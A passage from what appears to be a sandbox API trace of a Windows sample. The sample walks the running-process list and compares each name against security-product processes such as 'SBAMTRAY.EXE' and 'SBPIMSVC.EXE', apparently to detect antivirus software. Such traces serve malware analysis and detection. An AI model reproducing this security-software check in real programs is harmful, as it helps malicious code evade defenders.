pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0067.619] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0067.619] lstrlenW (lpString="SCN0tification.exe") returned 18 [0067.619] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0067.619] lstrcmpW (lpString1="SCN0TIFICATION.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.619] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 0 [0067.619] CloseHandle (hObject=0x1d0) returned 1 [0067.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0067.622] lstrcpyW (in: lpString1=0x1ebfb48, lpString2="SBPIMSvc.exe" | out: lpString1="SBPIMSvc.exe") returned="SBPIMSvc.exe" [0067.622] lstrlenW (lpString="SBPIMSvc.exe") returned 12 [0067.622] CharUpperBuffW (in: lpsz="SBPIMSvc.exe", cchLength=0xc | out: lpsz="SBPIMSVC.EXE") returned 0xc [0067.622] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.623] lstrcpyW (in: lpString1=0x1ebf940, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0067.623] lstrlenW (lpString="[System Process]") returned 16 [0067.623] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0067.623] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="SBPIMSVC.EXE") returned -1 [0067.623] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.623] lstrcpyW (in: lpString1=0x1ebf940, lpString2="System" | out: lpString1="System") returned="System" [0067.623] lstrlenW (lpString="System") returned 6 [0067.623] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0067.623] lstrcmpW (lpString1="SYSTEM", lpString2="SBPIMSVC.EXE") returned 1 [0067.623] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.624] lstrcpyW (in: lpString1=0x1ebf940, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0067.624] lstrlenW (lpString="smss.exe") returned 8 [0067.624] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0067.624] lstrcmpW (lpString1="SMSS.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.624] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.624] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.624] lstrlenW (lpString="csrss.exe") returned 9 [0067.624] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.624] lstrcmpW (lpString1="CSRSS.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.624] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.625] lstrcpyW (in: lpString1=0x1ebf940, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0067.625] lstrlenW (lpString="wininit.exe") returned 11 [0067.625] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0067.625] lstrcmpW (lpString1="WININIT.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.625] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.626] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.626] lstrlenW (lpString="csrss.exe") returned 9 [0067.626] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.626] lstrcmpW (lpString1="CSRSS.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.626] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.626] lstrcpyW (in: lpString1=0x1ebf940, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0067.626] lstrlenW (lpString="winlogon.exe") returned 12 [0067.626] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0067.626] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.626] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.627] lstrcpyW (in: lpString1=0x1ebf940, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0067.627] lstrlenW (lpString="services.exe") returned 12 [0067.627] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0067.627] lstrcmpW (lpString1="SERVICES.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.627] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.627] lstrcpyW (in: lpString1=0x1ebf940, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0067.627] lstrlenW (lpString="lsass.exe") returned 9 [0067.627] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0067.627] lstrcmpW (lpString1="LSASS.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.627] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.628] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.628] lstrlenW (lpString="svchost.exe") returned 11 [0067.628] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.628] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.628] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.628] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.629] lstrlenW (lpString="svchost.exe") returned 11 [0067.629] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.629] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.629] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.629] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0067.629] lstrlenW (lpString="dwm.exe") returned 7 [0067.629] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0067.629] lstrcmpW (lpString1="DWM.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.629] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.630] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.630] lstrlenW (lpString="svchost.exe") returned 11 [0067.630] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.630] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.630] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.630] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.630] lstrlenW (lpString="svchost.exe") returned 11 [0067.630] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.630] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.630] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.631] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.631] lstrlenW (lpString="svchost.exe") returned 11 [0067.631] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.631] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.631] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.631] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.631] lstrlenW (lpString="svchost.exe") returned 11 [0067.631] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.631] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.631] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.632] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.632] lstrlenW (lpString="svchost.exe") returned 11 [0067.632] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.632] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.632] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.633] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.633] lstrlenW (lpString="svchost.exe") returned 11 [0067.633] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.633] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.633] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.633] lstrcpyW (in: lpString1=0x1ebf940, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0067.633] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.633] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0067.633] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.633] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.634] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.634] lstrlenW (lpString="svchost.exe") returned 11 [0067.634] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.634] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.634] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.634] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.634] lstrlenW (lpString="svchost.exe") returned 11 [0067.634] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.634] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.634] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.635] lstrcpyW (in: lpString1=0x1ebf940, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0067.635] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.635] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0067.635] lstrcmpW (lpString1="OFFICECLICKTORUN.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.635] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.636] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.636] lstrlenW (lpString="svchost.exe") returned 11 [0067.636] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.636] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.636] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.636] lstrcpyW (in: lpString1=0x1ebf940, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0067.636] lstrlenW (lpString="sihost.exe") returned 10 [0067.636] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0067.636] lstrcmpW (lpString1="SIHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.636] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.645] lstrcpyW (in: lpString1=0x1ebf940, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0067.645] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.645] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0067.645] lstrcmpW (lpString1="TASKHOSTW.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.645] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.645] lstrcpyW (in: lpString1=0x1ebf940, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0067.645] lstrlenW (lpString="explorer.exe") returned 12 [0067.645] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0067.646] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.646] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.646] lstrcpyW (in: lpString1=0x1ebf940, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0067.646] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.646] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0067.646] lstrcmpW (lpString1="RUNTIMEBROKER.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.646] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.647] lstrcpyW (in: lpString1=0x1ebf940, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0067.647] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.647] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0067.647] lstrcmpW (lpString1="SHELLEXPERIENCEHOST.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.647] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.647] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0067.647] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.647] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0067.647] lstrcmpW (lpString1="SEARCHUI.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.647] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0067.648] lstrcpyW (in: lpString1=0x1ebf940, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0067.648] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0067.648] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0067.648] lstrcmpW (lpString1="COMMANDSXEROXRELATIONSHIP.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.648] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0067.649] lstrcpyW (in: lpString1=0x1ebf940, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0067.649] lstrlenW (lpString="nice cu.exe") returned 11 [0067.649] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0067.649] lstrcmpW (lpString1="NICE CU.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.649] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0067.649] lstrcpyW (in: lpString1=0x1ebf940, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0067.649] lstrlenW (lpString="video_reviewing.exe") returned 19 [0067.649] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0067.649] lstrcmpW (lpString1="VIDEO_REVIEWING.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.649] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0067.650] lstrcpyW (in: lpString1=0x1ebf940, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0067.650] lstrlenW (lpString="shame.exe") returned 9 [0067.650] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0067.650] lstrcmpW (lpString1="SHAME.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.650] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0067.650] lstrcpyW (in: lpString1=0x1ebf940, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0067.650] lstrlenW (lpString="fantasy.exe") returned 11 [0067.650] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0067.650] lstrcmpW (lpString1="FANTASY.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.650] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0067.651] lstrcpyW (in: lpString1=0x1ebf940, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0067.651] lstrlenW (lpString="accepting.exe") returned 13 [0067.651] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0067.651] lstrcmpW (lpString1="ACCEPTING.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.651] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0067.652] lstrcpyW (in: lpString1=0x1ebf940, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0067.652] lstrlenW (lpString="authorized.exe") returned 14 [0067.652] CharUpperBuffW (in: lpsz="authorized.exe", 